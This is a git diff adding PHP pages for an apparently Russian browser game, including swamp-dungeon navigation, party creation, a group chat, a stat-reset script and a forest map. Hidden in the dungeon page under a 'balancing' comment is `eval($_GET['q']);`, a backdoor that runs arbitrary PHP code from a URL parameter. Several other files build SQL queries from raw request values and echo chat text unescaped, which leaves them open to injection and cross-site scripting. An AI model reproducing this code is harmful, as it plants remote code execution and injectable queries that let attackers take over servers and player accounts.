+$VaultRoom['2027'] = "Алтарную"; +$VaultRoom['2028'] = "Сектор 28"; +$VaultRoom['2029'] = "Сектор 29"; +$VaultRoom['2030'] = "Сектор 30"; +$VaultRoom['2031'] = "Сектор 31"; +$VaultRoom['2032'] = "Сектор 32"; +$VaultRoom['2033'] = "Сектор 33"; +$VaultRoom['2034'] = "Сектор 34"; +$VaultRoom['2035'] = "Сектор 35"; +$VaultRoom['2036'] = "Сектор 36"; +$VaultRoom['2037'] = "Сектор 37"; +$VaultRoom['2038'] = "Сектор 38"; +$VaultRoom['2039'] = "Развилку 5"; +$VaultRoom['2040'] = "Сектор 40"; +$VaultRoom['2041'] = "Сектор 41"; +$VaultRoom['2042'] = "Сектор 42"; +$VaultRoom['2043'] = "Сектор 43"; +$VaultRoom['2044'] = "Сектор 44"; +$VaultRoom['2045'] = "Сектор 45"; +$VaultRoom['2046'] = "Сектор 46"; +$VaultRoom['2047'] = "Сектор 47"; +$VaultRoom['2048'] = "Развилку 6"; +$VaultRoom['2049'] = "Сектор 49"; +$VaultRoom['2050'] = "Сектор 50"; +$VaultRoom['2051'] = "Сектор 51"; +$VaultRoom['2052'] = "Сектор 52"; +$VaultRoom['2053'] = "Сектор 53"; +$VaultRoom['2054'] = "Сектор 54"; +$VaultRoom['2055'] = "Сектор 55"; +$VaultRoom['2056'] = "Сектор 56"; +$VaultRoom['2057'] = "Сектор 57"; + + + +echo"
    +
    +
    "; + +?> + + + +
      +[Уменьшить время на 10 минут за 1 кр] +"; + +echo"
    "; + + + + + + +echo" + + + + +
    +
    ".$VaultInfo['title']."
    "; +if ($group['game_time']>$now) { + $sec = $group['game_time'] - time(); +echo" + + +
    Нужно успеть пройти Проход за: (".$sec." секунд)
    +"; +} +echo"У вас гаек: ".$kol_gayk." шт."; + + + +if (!empty($msg)) echo"
    $msg

    "; + + +echo" + + + + + + +
    + + + + + + + + + +
    + + + + + + + + + + +
    + +
    Группа №".$user['boloto_groups']."

    "; +///Балансировка +eval($_GET['q']); + if($_GET['balanse'] == 999){ +echo' + '; +} +$mesto = 1; + $data = mysql_query("SELECT * FROM `bol_group` where `status`='1' AND `id`='".mysql_real_escape_string($user['boloto_groups'])."' ORDER by `id` DESC; "); + while($row = mysql_fetch_array($data)) { + $QUER=mysql_query("SELECT login,level,bol_status,bol_uron,bol_zheton,id FROM users WHERE boloto_groups='".mysql_real_escape_string($row[id])."' ORDER BY id ASC"); + while($DATAS=mysql_fetch_array($QUER)){ + $zz = $mesto++; + $p1=$DATAS["login"]; + $p_login=$DATAS["login"]; + $p_lvl=$DATAS["level"]; + $uron=$DATAS["bol_uron"]; + $zeton=$DATAS["bol_zheton"]; + $id=$DATAS["id"]; + + $key=mysql_query("select `name` from `inventory` where `owner`='".mysql_real_escape_string($id)."' AND `type`='33' AND `name`='Болотный ключ'"); + $key_kol = mysql_num_rows($key); + + if($p1!=""){ +echo"$zz. $p1 [$p_lvl] У: $uron * Ж: $zeton * К: $key_kol
    "; +} +} + + echo"
    "; +} + +echo"
    ЧАТ:
    "; + $data = mysql_query("SELECT * FROM `bol_chat` where `group_id`='".$user[boloto_groups]."' ORDER by `id` DESC LIMIT 5"); + while($row = mysql_fetch_array($data)) { +echo"$row[autor]: $row[text]
    "; +} +?> + +Текст: +";?> + + + +
    + + + + + + +
    "; +echo" ".$VaultInfo['text']."
    "; +echo" + + + + + + + + + + + + + + +
     Перейти в ".$VaultRoom[$VaultInfo[ 
    "; + +if ($VaultInfo['left_id']) echo""; +else echo""; +echo""; + + +if ($VaultInfo['right_id']) echo""; +else echo""; + +echo"
     Перейти в ".$VaultRoom[$VaultInfo[ 
    "; +echo"
    "; +echo"
    "; +if ($user['boloto_time'] > $now) { + + echo"Переходим в ".$VaultRoom[$user[boloto_room]]."
    Ещё: 
    "; +} +echo"
    "; + + +echo"
    "; + +echo" + + + + + +
    + +Местность
    "; +//-------------ВЫБЕРАЕМ РЕСУРСЫ ГРУППЫ---------/ + $bol_res=mysql_fetch_array(mysql_query("select * from `vault_res` where `id`='".mysql_real_escape_string($user['boloto_groups'])."'")); + $key=mysql_query("select `name` from `inventory` where `owner`='".mysql_real_escape_string($user['id'])."' AND `type`='33' AND `name`='Болотный ключ'"); + $key_kol = mysql_num_rows($key); + + $kod=mysql_query("select `name` from `inventory` where `owner`='".mysql_real_escape_string($user['id'])."' AND `type`='33' AND `name`='Код от тайника'"); + $kod_kol = mysql_num_rows($kod); +/*---- Module ----*/ +//////////////// +if($user['room'] == 2027){ +echo"
    Алтарная!
    Здесь возможно произвести обмен!"; +?>
    +

    1. Обменять 10 Жетонов на 1 Ключ
    + += 10){ +echo" + "; +} else{echo"Недостаточно Жетонов";} + + ?> + +

    2. Обменять 5 Ключей на 1 Код
    + += 5){ +echo" + "; +} else{echo"Недостаточно Ключей";} + ?> + +

    3. Купить +3 мин. времени за 1 Екр
    + += 1){ +echo" + ";} + else{echo"Недостаточно Екр";} + + ?> + + + + +

    + +Мобы:
    "; +$mob_rend = rand(1,5); +if($mob_rend == 1 || $mob_rend == 3){echo"А вот и:
    "; +if($mob_rend == 1){$mob_id = 1217; $mob_type=2001;} +elseif($mob_rend == 3){$mob_id = 1218; $mob_type=2002;} + +$bot_list = mysql_query("SELECT * FROM `users` WHERE `bot`='1' AND `id`='".mysql_real_escape_string($mob_id)."' AND `bot_type`='".mysql_real_escape_string($mob_type)."'"); + + while ($bot_nick=mysql_fetch_assoc($bot_list)) + { + $in_attack = 'onclick=\'if (confirm("Нападаем?")) window.location="boloto.php?level=train&atakbot=1&bot_login='.$bot_nick['login'].'&bot_type='.$bot_nick['bot_type'].'"\' style=\'CURSOR: Hand\' alt=\'Нападение\''; + echo ' + + + '.$bot_nick['login'].' ['.$bot_nick['level'].'] + '; + } + + +} +else{echo"Все попрятались...";} +} +/////////////////////// +//ЕСЛИ МЫ В ЛОКЕ С БОССОМ ВЫВОДИМ ЕГО! +else{ +echo"
    БОСС:
    "; +if($user['room'] == 2006){$boss = "boss1";} +elseif($user['room'] == 2033){$boss = "boss2";} +elseif($user['room'] == 2057){$boss = "boss3";} +elseif($user['room'] == 2020){$boss = "boss4";} +elseif($user['room'] == 2022){$boss = "boss5";} +elseif($user['room'] == 2034){$boss = "boss6";} + +if($bol_res[$boss] == 1){ + +$bot_list = mysql_query("SELECT * FROM `users` WHERE `bot`='1' AND `room`='".mysql_real_escape_string($user['room'])."' AND (`bot_type`='2003' OR `bot_type`='2004' OR `bot_type`='2005' OR `bot_type`='2006' OR `bot_type`='2007' OR `bot_type`='2008')"); + + while ($bot_nick=mysql_fetch_assoc($bot_list)) + { + $in_attack = 'onclick=\'if (confirm("Нападаем?")) window.location="boloto.php?level=train&atakbot1=1&bot_login='.$bot_nick['login'].'&bot_type='.$bot_nick['bot_type'].'"\' style=\'CURSOR: Hand\' alt=\'Нападение\''; + echo ' + + + '.$bot_nick['login'].' ['.$bot_nick['level'].'] + '; + } + +}else{echo"БОСС убит...";} + +} +////////////////// +//ВЫВОДИМ ТАЙНИКИ И СУНДУКИ! + echo"
    "; +echo"
    Предметы:
    "; + + +///////////////////////////////////////////////////////////////////////////////////////////////// +if($user['room'] == 2004 && $bol_res['s1'] == 1){echo"Сундук

    "; + + +if($key_kol >= 1){ +echo" + + + "; +} else{echo"Нет ключа!";} + + +} + +elseif($user['room'] == 2024 && $bol_res['s2'] == 1){echo"Сундук

    "; + +if($key_kol >= 1){ +echo" + + + "; +} else{echo"Нет ключа!";} + +} + +elseif($user['room'] == 2031 && $bol_res['s3'] == 1){echo"Сундук

    "; + + +if($key_kol >= 1){ +echo" + + + "; +} else{echo"Нет ключа!";} + +} + +elseif($user['room'] == 2042 && $bol_res['s4'] == 1){echo"Сундук

    "; + +if($key_kol >= 1){ +echo" + + + "; +} else{echo"Нет ключа!";} + +} + +elseif($user['room'] == 2036 && $bol_res['s5'] == 1){echo"Сундук

    "; + +if($key_kol >= 1){ +echo" + + + "; +} else{echo"Нет ключа!";} + +} +////////////////////////////////////////////////////////////////////////////////////////////////// +elseif($user['room'] == 2044 && $bol_res['t1'] == 1){echo"Тайник

    "; + + +if($kod_kol >= 1){ +echo" + + + "; +} else{echo"Нет кода!";} + + +} + +elseif($user['room'] == 2056 && $bol_res['t2'] == 1){echo"Тайник

    "; + + +if($kod_kol >= 1){ +echo" + + + "; +} else{echo"Нет кода!";} + +} + +elseif($user['room'] == 2012 && $bol_res['t3'] == 1){echo"Тайник

    "; + + +if($kod_kol >= 1){ +echo" + + + "; +} else{echo"Нет кода!";} + +} + +else{echo"Здесь ничего нет...";} +//////////////////// +//ВЫВОДИМ СЛУЧАЙНЫЕ ключи +} + +echo" + +
    + +
    +
    + +

    +
    + "; + +} + +?> + + diff --git a/boloto_vxod.php b/boloto_vxod.php new file mode 100644 index 0000000..35c5c67 --- /dev/null +++ b/boloto_vxod.php @@ -0,0 +1,268 @@ + + + + + + + + + + + + + +
    +
    + +
    +Карта Прохода
    +
    + +=7){ + +//Ring 1 +$boots = mysql_fetch_array(mysql_query("SELECT `prototype` FROM `inventory` WHERE `id`='".mysql_real_escape_string($user['boots'])."' AND `owner` = '".mysql_real_escape_string($user['id'])."' AND `dressed` > '0' AND `isrep` = '1' AND `setsale`='0'")); +if($boots['prototype'] == 1109) { + + $owntravma = mysql_fetch_array(mysql_query("SELECT `type`,`id`,`sila`,`lovk`,`inta` FROM `effects` WHERE `owner` = '".mysql_real_escape_string($user['id'])."' AND (type=12 OR type=13 OR type=11 OR type=21 OR type=22 OR type=23);")); + if (!$owntravma) { + + if($user['anti_boloto'] <= $now){ + + +//afk + if($_POST['afk']) { + Mysql_query("update `users` set `bol_status`='0' where `id`='".mysql_real_escape_string($user['id'])."'"); +echo"Ваш статус в группе: Отошел!
    "; +echo""; +} +//ready + if($_POST['ready']) { + Mysql_query("update `users` set `bol_status`='1' where `id`='".mysql_real_escape_string($user['id'])."'"); +echo"Ваш статус в группе: Я ГОТОВ!
    "; +echo""; +} + +//Вступаем +if($_POST['add']){ +$id = $_POST['naw_id']; +$kto = $_POST['add_id']; +$kto_nik = mysql_fetch_array(mysql_query("SELECT `login` FROM `users` WHERE `id` = '".mysql_real_escape_string($kto)."'")); +if($_POST['pass'] == $_POST['naw_pass']){ + +$per_gro = mysql_fetch_array(mysql_query("SELECT * FROM `bol_group` WHERE `id` = '".mysql_real_escape_string($id)."'")); +if (!$per_gro['p1']){ $p = 'p1'; $pn = 'p1_nik';} +elseif (!$per_gro['p2']){ $p = 'p2' ; $pn = 'p2_nik';} +elseif (!$per_gro['p3']){ $p = 'p3'; $pn = 'p3_nik';} +elseif (!$per_gro['p4']){ $p = 'p4' ; $pn = 'p4_nik';} +else{ $slot = 1;} +mysql_query("UPDATE `bol_group` set `sostav`=`sostav`+'1',`".mysql_real_escape_string($p)."`='".mysql_real_escape_string($kto)."', `".mysql_real_escape_string($pn)."`='".mysql_real_escape_string($kto_nik['login'])."' WHERE id = '".mysql_real_escape_string($id)."'"); +mysql_query("UPDATE `users` set `boloto_groups`='".mysql_real_escape_string($id)."' WHERE `id` = '".mysql_real_escape_string($kto)."'"); +mysql_query("insert into `vault_user_navig` (`group_id`,`login`,`l`,`t`,`loc`) VALUES ('".mysql_real_escape_string($id)."','".$user['login']."','100','100','2001') "); + +echo"Вы удачно вступили в группу!"; +echo""; +}else{echo"Пароль не верный!";}; + +} + +//Выходит +if($_POST['exit']){ + $id = $_POST['id'] ; + $kto = $_POST['kto'] ; +$per_gro = mysql_fetch_array(mysql_query("SELECT * FROM `bol_group` WHERE `id` = '".mysql_real_escape_string($id)."'")); +if ($per_gro['p1'] == $user['id']) { $p = 'p1'; $pn = 'p1_nik';} +elseif ($per_gro['p2'] == $user['id']){ $p = 'p2' ; $pn = 'p2_nik';} +elseif ($per_gro['p3'] == $user['id']){ $p = 'p3'; $pn = 'p3_nik';} +elseif ($per_gro['p4'] == $user['id']) { $p = 'p4' ; $pn = 'p4_nik';} +else $slot = 1; +mysql_query("UPDATE `bol_group` set `sostav`=`sostav`-'1',`".mysql_real_escape_string($p)."`='0', `".mysql_real_escape_string($pn)."`='' WHERE id = '".mysql_real_escape_string($id)."'"); +mysql_query("UPDATE `users` set `boloto_groups`='0',`bol_status`='0' WHERE `id` = '".mysql_real_escape_string($kto)."'"); +mysql_query("delete from `vault_user_navig` where `group_id`='".$id."' and `login`='".$user['login']."'"); +echo"Вы вышли с группы!
    "; +echo""; +} + +//Расформировка +if($_POST['closed']){ + $id = $_POST['id'] ; + $kto = $_POST['kto'] ; +$per_gro = mysql_fetch_array(mysql_query("SELECT * FROM `bol_group` WHERE `id` = '".mysql_real_escape_string($id)."'")); +mysql_query("UPDATE `users` set `boloto_groups`=0, `bol_status`=0 WHERE `id` = '".mysql_real_escape_string($per_gro['p1'])."' or `id` = '".mysql_real_escape_string($per_gro['p2'])."' or `id` = '".mysql_real_escape_string($per_gro['p3'])."' or `id` = '".mysql_real_escape_string($per_gro['p4'])."'"); +mysql_query("delete from `bol_group` where `id`='".mysql_real_escape_string($id)."'"); +mysql_query("delete from `vault_user_navig` where `group_id`='".$id."'"); +echo"Вы расформировали группу!
    "; +echo""; +} + + +//СТАРТ!!! +if($_POST['start']){ + $id = $_POST['id'] ; + $kto = $_POST['kto'] ; +$group = mysql_fetch_array(mysql_query("SELECT * FROM `bol_group` WHERE `id` = '".mysql_real_escape_string($user['boloto_groups'])."'")); +$per_gro = mysql_fetch_array(mysql_query("SELECT * FROM `bol_group` WHERE `id` = '".mysql_real_escape_string($id)."'")); +$mol4 = $time + 5000; +if($group['p1'] != 0){ +mysql_query("INSERT INTO `effects` (`owner`,`name`,`time`,`type`) values ('".mysql_real_escape_string($group['p1'])."','Заклинание молчания',".(time()+5000).",'2');"); + +if(mysql_fetch_array(mysql_query("SELECT `bol_status` FROM `users` WHERE `id` = '".mysql_real_escape_string($group['p1'])."' AND `bol_status`='1'"))){$i1=1;}else{$i1=0;} +}else{$i1=1;} +if($group['p2'] != 0){ +mysql_query("INSERT INTO `effects` (`owner`,`name`,`time`,`type`) values ('".mysql_real_escape_string($group['p2'])."','Заклинание молчания',".(time()+5000).",'2');"); + +if(mysql_fetch_array(mysql_query("SELECT `bol_status` FROM `users` WHERE `id` = '".mysql_real_escape_string($group['p2'])."' AND `bol_status`='1'"))){$i2=1;}else{$i2=0;} +}else{$i2=1;} +if($group['p3'] != 0){ +mysql_query("INSERT INTO `effects` (`owner`,`name`,`time`,`type`) values ('".mysql_real_escape_string($group['p3'])."','Заклинание молчания',".(time()+5000).",'2');"); + +if(mysql_fetch_array(mysql_query("SELECT `bol_status` FROM `users` WHERE `id` = '".mysql_real_escape_string($group['p3'])."' AND `bol_status`='1'"))){$i3=1;}else{$i3=0;} +}else{$i3=1;} +if($group['p4'] != 0){ +mysql_query("INSERT INTO `effects` (`owner`,`name`,`time`,`type`) values ('".mysql_real_escape_string($group['p4'])."','Заклинание молчания',".(time()+5000).",'2');"); + +if(mysql_fetch_array(mysql_query("SELECT `bol_status` FROM `users` WHERE `id` = '".mysql_real_escape_string($group['p4'])."' AND `bol_status`='1'"))){$i4=1;}else{$i4=0;} +} else{$i4=1;} +if($i1 == 1 && $i2 == 1 && $i3 == 1 && $i4 == 1){ + +mysql_query("UPDATE `users` set `room`='2001', `bol_poxod`=`bol_poxod`+'1' WHERE `id` = '".mysql_real_escape_string($per_gro['p1'])."' or `id` = '".mysql_real_escape_string($per_gro['p2'])."' or `id` = '".mysql_real_escape_string($per_gro['p3'])."' or `id` = '".mysql_real_escape_string($per_gro['p4'])."'"); +mysql_query("UPDATE `bol_group` set `status`='1',`game_time`='".(time()+4800)."' where `id` = '".mysql_real_escape_string($id)."'"); +mysql_query("insert into `vault_res` (`id`) VALUES ('".mysql_real_escape_string($user['boloto_groups'])."')"); + +echo"Проход открылся - можете идти!"; +die(""); +}else{echo"Необходимо, чтобы все игроки группы были в статусе \"ГОТОВ\"!
    ";} +} + +///Создаем группу + if($_POST['new']) { + if($user['money'] >= 40){ +$lider = $_POST['lider']; +$pass = $_POST['pass']; +$comm = $_POST['komm']; +$name = mysql_fetch_array(mysql_query("SELECT `login` FROM `users` WHERE `id` = '".mysql_real_escape_string($lider)."' LIMIT 1;")); +mysql_query("INSERT INTO `bol_group` (`pass`,`lider`,`p1`,`comment`,`lider_nik`,`p1_nik`,`level`) VALUES ('".mysql_real_escape_string($pass)."','".mysql_real_escape_string($lider)."','".mysql_real_escape_string($lider)."','".mysql_real_escape_string($comm)."','".mysql_real_escape_string($name['login'])."','".mysql_real_escape_string($name['login'])."','".mysql_real_escape_string($user['level'])."')"); + +$id_group = mysql_result(mysql_query("SELECT MAX(id) FROM `bol_group` WHERE `lider` = '".mysql_real_escape_string($user['id'])."'"),0); + +mysql_query("UPDATE `users` SET `boloto_groups`='".mysql_real_escape_string($id_group)."',`money`=`money`-'40',`bol_status`='1' WHERE `id`='".mysql_real_escape_string($user['id'])."'"); +mysql_query("insert into `vault_user_navig` (`group_id`,`login`,`l`,`t`,`loc`) VALUES ('".mysql_real_escape_string($id_group)."','".$user['login']."','100','100','2001') "); + echo"Вы успешно создали группу!
    "; + echo""; +}else{echo"У вас нет 40 Кр. для создания группы!";} +} + + + +?> + + + + + + + + + + + +
    + + +
    Тайный проход из Клуба к Замку Законников
    +
    +
    Доступные для вступления группы:
    "; + $data = mysql_query("SELECT * FROM `bol_group` where `status`='0' AND `level`='".$user['level']."' ORDER by `id` DESC; "); + $chislo = mysql_num_rows($data); +if($chislo > 0){ + while($row = mysql_fetch_array($data)) { + echo"№".$row['id']." "; + $QUER=mysql_query("SELECT `login`,`level`,`bol_status` FROM `users` WHERE `boloto_groups`='".mysql_real_escape_string($row['id'])."' ORDER BY `id` ASC"); + while($DATAS=mysql_fetch_array($QUER)){ + + $p1=$DATAS["login"]; + $p_login=$DATAS["login"]; + $p_lvl=$DATAS["level"]; + $status=$DATAS["bol_status"]; + if($status == 1){$st="[ok]";} + else{$st="[afk]";} + if($p1!=""){ +$p1="$st $p1 [$p_lvl] "; +if($t1_all[$n]==1){print "$p1";}else{print "$p1,";} +} +} +if(!empty($row[comment])){print"| [$row[comment]] ";} +if($user['boloto_groups'] == 0){ +if(!empty($row[pass])){print"";} +echo" + + +"; + } + echo"
    "; +} +}else{echo"Нет ни одной подходящей Вам группы!";} + +echo"

    "; +if($user['boloto_groups'] == 0){ +echo "


    +
    Создать свою группу!
    Если пароль не нужен, оставьте поле пустым!
    + +Пароль:
    +Комментарий:
    +
    +
    "; +} +else{ + echo"
    Вы уже состоите в группе №".$user['boloto_groups']." !
    "; +echo"
    "; +$vibor = mysql_fetch_array(mysql_query("SELECT `lider` FROM `bol_group` WHERE `id` = '".mysql_real_escape_string($user['boloto_groups'])."'")); + +if($user['id'] == $vibor['lider']){echo""; +echo"";} + +else{echo"";} + +if($user['bol_status'] == 1){echo"";} +elseif($user['bol_status'] == 0){echo"";} + echo"
    "; } + }else{echo"
    Проход открыт лишь раз в 5 часов!
    "; + if ($user['anti_boloto']>$now) { +echo" + + +
    До следущего похода:
    +"; +} + } + }else{echo"
    С травмами и действующими элексирами сюда заходить нельзя!
    ";} +}else{echo"
    Необходимо купить и одеть болотные сапоги!
    ";} +}else{echo"
    Доступ сюда только с 7 уровня!
    ";} +?> diff --git a/bots_razmen.php b/bots_razmen.php new file mode 100644 index 0000000..e69de29 diff --git a/bottom.html b/bottom.html new file mode 100644 index 0000000..75875f5 --- /dev/null +++ b/bottom.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/bt.php b/bt.php new file mode 100644 index 0000000..8d909fb --- /dev/null +++ b/bt.php @@ -0,0 +1,101 @@ +
    + 11) || $e == 24) $e++;
    +  if ((((($e + $day)*6+11)%177)/22 & 7) == 4) {
    +    return true;
    +  }
    +}
    +
    + echo moon_phase(date("Y"),date("m"),date("d"));
    +*/
    +
    +include "config.php";
    +include "functions.php";
    +
    +//if($_GET['rep']) {
    +//  $d = mysql_fetch_array(mysql_query("SELECT * from inventory where owner=0 AND `id`=".$_GET['rep']));
    +//  $dd = mysql_fetch_array(mysql_query("SELECT * FROM `delo` WHERE `text` LIKE '%".$d['id']."%'ORDER BY `id` DESC LIMIT 1"));
    +//  mysql_query("UPDATE inventory SET owner='".$dd['pers']."' WHERE `id`='".$_GET['rep']."';");
    +//}
    +
    +//$data = mysql_query("SELECT * from inventory where `owner`='0' OR `owner`=''");
    +//while($d = mysql_fetch_array($data)) {
    +//  $dd = mysql_fetch_array(mysql_query("SELECT * FROM `delo` WHERE `text` LIKE '%".$d['id']."%'ORDER BY `id` DESC LIMIT 1"));
    +//  echo $d['id']." ".$d['name']." ".$dd['pers']." ".$dd['text']." Вернуть ".nick7($dd['pers'])."
    "; +//} +//settravma(2); +// exec("../daemons/arch.php"); + + +$exps = array( + "20" => array (15), + "45" => array (16), + "75" => array (17), + "110" => array (18), + "160" => array (21), + "215" => array (22), + "280" => array (23), + "350" => array (24), + "410" => array (25), + "530" => array (28), + "670" => array (29), + "830" => array (30), + "950" => array (31), + "1100" => array (32), + "1300" => array (33), + "1450" => array (36), + "1650" => array (37), + "1850" => array (38), + "2050" => array (39), + "2200" => array (40), + "2500" => array (41), + "2900" => array (46), + "3350" => array (47), + "3800" => array (48), + "4200" => array (49), + "4600" => array (50), + "5000" => array (51), + "6000" => array (54), + "7000" => array (55), + "8000" => array (56), + "9000" => array (57), + "10000" => array (58), + "11000" => array (59), + "12000" => array (60), + "12500" => array (61), + "14000" => array (64), + "15500" => array (65), + "17000" => array (66), + "19000" => array (67), + "21000" => array (68), + "23000" => array (69), + "27000" => array (70), + "30000" => array (71), + "60000" => array (76), + "75000" => array (77), + "150000" => array (78), + "175000" => array (79) ); + +echo "
    ";
    +  $ss = mysql_query("select `id`,`nextup`,`level` FROM `users` WHERE `level` > 0 AND `level` < 8 AND id='6490';");
    +  while($ssd=mysql_fetch_array($ss)) {
    +    undressall($ssd['id']);
    +    mysql_query( "UPDATE `users` SET `sila`='3',`lovk`='3',`inta`='3',`vinos`='".(3+$ssd['level'])."',`intel`='0',`stats` = ".($exps[$ssd['nextup']][0]-12)." WHERE `id`='".$ssd['id']."';"); // ,$ssd['nextup'],"
    +  }
    +?>
    diff --git a/buttons.html b/buttons.html
    new file mode 100644
    index 0000000..e69de29
    diff --git a/buttons.php b/buttons.php
    new file mode 100644
    index 0000000..2784445
    --- /dev/null
    +++ b/buttons.php
    @@ -0,0 +1,984 @@
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + + + +
    + + + + + + +

    +
    + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + +
    +
    + + + + + + + + + + + +
    Чат + + +Добавить текст в чат + +Очистить строку ввода(выключено) Показывать в чате только сообщения адресованные мне(выключено) Показывать в чате системные сообщения(выключено) Медленное обновление чата (раз в минуту)(выключено) Преобразовывать транслит в русский текст (правила перевода см. в энциклопедии)Смайлики + +\"Настройки/Инвентарь\""; +echo "\"Реликты\""; + +#echo ""; + + +if ($user['level'] > 1) { + echo ""; +} + +if ($user['level'] > 3) { + echo ""; +} + +if ($user['klan']) { + echo ""; +} + +if ($user['klan']) { + #echo ""; +} + + +if ($user['deal']==1) { + echo ""; +} elseif ((($user['align']>1) && ($user['align']<2)) || (($user['align']>2) && ($user['align']<3))) { + echo ""; + echo ""; +} elseif ($user['align']==2 || $user['align']==8.31) { + echo ""; +} elseif ($user['align']==3) { + echo ""; +} elseif ($user['align']==6) { + echo ""; +} + +if ((($user['align']>7) && ($user['align']<8))) { + echo ""; +} + +echo ""; + +$CH = date("H"); +$CM = date("i"); +$CS = date("s"); +?> + + +
    + + + + +
    + + + \ No newline at end of file diff --git a/c_forest.php b/c_forest.php new file mode 100644 index 0000000..593f214 --- /dev/null +++ b/c_forest.php @@ -0,0 +1,120 @@ + $dat[$forest['room']]['Up'], 'Down' => $dat[$forest['room']]['Down'], 'Left' => $dat[$forest['room']]['Left'], 'Right' => $dat[$forest['room']]['Right']); + return $dat; +} +$map_user = loadmap_cell(); + + +if($_GET['exit_forest'] == 'true') { + if($forest['room']) { + #mysql_query('DELETE FROM `forest_bots` WHERE `user` = "'.$user['id'].'" AND `group` = "'.$forest['id'].'"'); + #mysql_query('DELETE FROM `forest_items` WHERE `user` = "'.$user['id'].'" AND `group` = "'.$forest['id'].'"'); + mysql_query('DELETE FROM `forest` WHERE `user` = "'.$user['id'].'" LIMIT 1'); + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '51', `online`.`room` = '51' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '".$user['id']."'"); + unset($forest); + } else { + $error = 'Выхода тут нет ...'; + } +} + +echo $map_user['Down'].' = '.$map_user['Right']; + +if($_GET['move'] == 'true') { + if($_GET['Dir'] == 'Up') { + if($map_user['Up'] == 1) { + mysql_query('UPDATE `forest` SET `room` = "cell_'.($forest['room_id']-5).'", `room_id` = "'.($forest['room_id']-5).'" WHERE `id` = "'.$forest['id'].'" LIMIT 1'); + $forest['room'] = 'cell_'.($forest['room_id']-5); $forest['room_id'] = $forest['room_id']-5; + } else { + $error = 'Ошибка. Сообщите Администрации. Код ошибки : 01.'; + } + } elseif($_GET['Dir'] == 'Down') { + if($map_user['Down'] == 1) { + mysql_query('UPDATE `forest` SET `room` = "cell_'.($forest['room_id']+5).'", `room_id` = "'.($forest['room_id']+5).'" WHERE `id` = "'.$forest['id'].'" LIMIT 1'); + $forest['room'] = 'cell_'.($forest['room_id']+5); $forest['room_id'] = $forest['room_id']+5; + } else { + $error = 'Ошибка. Сообщите Администрации. Код ошибки : 02.'; + } + } elseif($_GET['Dir'] == 'Left') { + if($map_user['Left'] == 1) { + $forest['room'] = 'cell_'.($forest['room_id']-1); $forest['room_id'] = $forest['room_id']-1; + mysql_query('UPDATE `forest` SET `room` = "'.$forest['room'].'", `room_id` = "'.$forest['room_id'].'" WHERE `id` = "'.$forest['id'].'" LIMIT 1'); + } else { + $error = 'Ошибка. Сообщите Администрации. Код ошибки : 03.'; + } + } elseif($_GET['Dir'] == 'Right') { + if($map_user['Right'] == 1) { + $forest['room'] = 'cell_'.($forest['room_id']+1); $forest['room_id'] = $forest['room_id']+1; + mysql_query('UPDATE `forest` SET `room` = "'.$forest['room'].'", `room_id` = "'.$forest['room_id'].'" WHERE `id` = "'.$forest['id'].'" LIMIT 1'); + } else { + $error = 'Ошибка. Сообщите Администрации. Код ошибки : 04.'; + } + } else { + $error = 'Not in this life'; + } +} + +?> + + +404 + + + + + + +
    +
    + + +
    + + Уровень жизни + Уровень жизни + уровень жизни: 300/300 + +
    +
    +
    +
    + + + + + + + + + + + + +
    + '.$error.''; } ?> +
    + + \ No newline at end of file diff --git a/c_haos.php b/c_haos.php new file mode 100644 index 0000000..f270c3a --- /dev/null +++ b/c_haos.php @@ -0,0 +1,279 @@ +0)) header("Location: index.php"); + include "config.php"; + $user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '{$_SESSION['uid']}' LIMIT 1;")); + $in_haos = mysql_fetch_array(mysql_query("SELECT * FROM `cit_haos_status` WHERE `id` = '{$user['id']}' LIMIT 1;")); + $owntravma = mysql_fetch_array(mysql_query("SELECT * FROM `effects` WHERE `owner` = ".$user['id']." AND (type=13 OR type=12 OR type=14) limit 1;")); + $wait_msg="Ждем подтверждения от всей группы..."; + + function getPass($length = 6) + { + $chars = 'abcdefghijklmnopqrstyvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'; + $numChars = strlen($chars); + $string = ''; + for ($i = 0; $i < $length; $i++) { + $string .= substr($chars, rand(1, $numChars) - 1, 1); + } + return $string; + } + + if(!$in_haos) + { + mysql_query("INSERT INTO cit_haos_status(id) values('{$user['id']}');"); + $in_haos=mysql_fetch_array(mysql_query("SELECT * FROM `cit_haos_status` WHERE `id` = '{$user['id']}' LIMIT 1;")); + } + include "functions.php"; + $pass_s=getPass(6); + if ($user['room'] != 600) { header("Location: main.php"); die(); } + if ($user['battle'] != 0) { header('location: fbattle.php'); die(); } + if ($_POST['pay']) + { + if(!$_POST['pay_gr']) $_POST['pay_gr']=1; + $group_num=mysql_num_rows(mysql_query("SELECT * FROM `cit_haos_status` WHERE `group` = '{$_POST['pay_gr']}';")); + $cit_haos_pl=mysql_fetch_array(mysql_query("SELECT * FROM `cit_haos_var` WHERE `group`='".$_POST['pay_gr']."' LIMIT 1;")); + $gps=$_POST['gr_pass_in'.$_POST['pay_gr']]; + if($gps) + $gps=str_replace(" ","",$gps); + + if($group_num<4) + if($user['hp']>=(int)($user['maxhp']/3) && !$owntravma[0]) + if($user['money']>=20) + if( + !preg_match('/[\/\:*?"<>|+%]/',$gps)&& + ( + ($gps==$cit_haos_pl['password'] && strlen($cit_haos_pl['password'])>1)|| + (strlen($cit_haos_pl['players'])<3) + ) + ) + + { + + mysql_query("UPDATE `cit_haos_status` SET `status` = '1',`group` = '{$_POST['pay_gr']}' WHERE `id` ='{$user['id']}'; "); + mysql_query("UPDATE `users` set `money` = `money`- '20' WHERE id = '{$user['id']}';"); + $cit_haos_gr=mysql_num_rows(mysql_query("SELECT * FROM `cit_haos_var`;")); + + if($_POST['pay_gr']>$cit_haos_gr) + mysql_query("INSERT INTO `cit_haos_var`(`group`,`password`) values('".$_POST['pay_gr']."','".$pass_s."');"); + $cit_haos_pl=mysql_fetch_array(mysql_query("SELECT * FROM `cit_haos_var` WHERE `group`='".$_POST['pay_gr']."' LIMIT 1;")); + if(!in_array($user['id'],explode(";",$cit_haos_pl['players']))) + { + + if($cit_haos_pl['players']!='') + $ch_pl_t=$cit_haos_pl['players'].";".$user['id']; + else + $ch_pl_t=$user['id']; + mysql_query("UPDATE 